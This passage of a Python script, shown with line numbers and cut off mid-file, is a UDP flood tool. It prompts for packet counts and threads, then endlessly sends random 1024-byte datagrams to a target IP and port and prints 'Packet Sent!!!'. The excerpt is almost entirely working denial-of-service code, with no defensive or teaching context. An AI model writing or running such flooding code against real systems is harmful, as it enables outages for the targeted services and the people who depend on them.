()
| 26 | times = int(input(" Packets per one connection:")) |
| 27 | threads = int(input(" Threads:")) |
| 28 | def run(): |
| 29 | data = random._urandom(1024) |
| 30 | i = random.choice(("[*]","[!]","[#]")) |
| 31 | while True: |
| 32 | try: |
| 33 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #It's using the UDP method as you can see in SOCK_DGRAM |
| 34 | addr = (str(ip),int(port)) |
| 35 | for x in range(times): |
| 36 | s.sendto(data,addr) |
| 37 | print(i +"Packet Sent!!!") |
| 38 | except: |
| 39 | s.close() |
| 40 | print("[!] Error!!!") |
| 41 | |
| 42 | def run2(): |
| 43 | data = random._urandom(16) |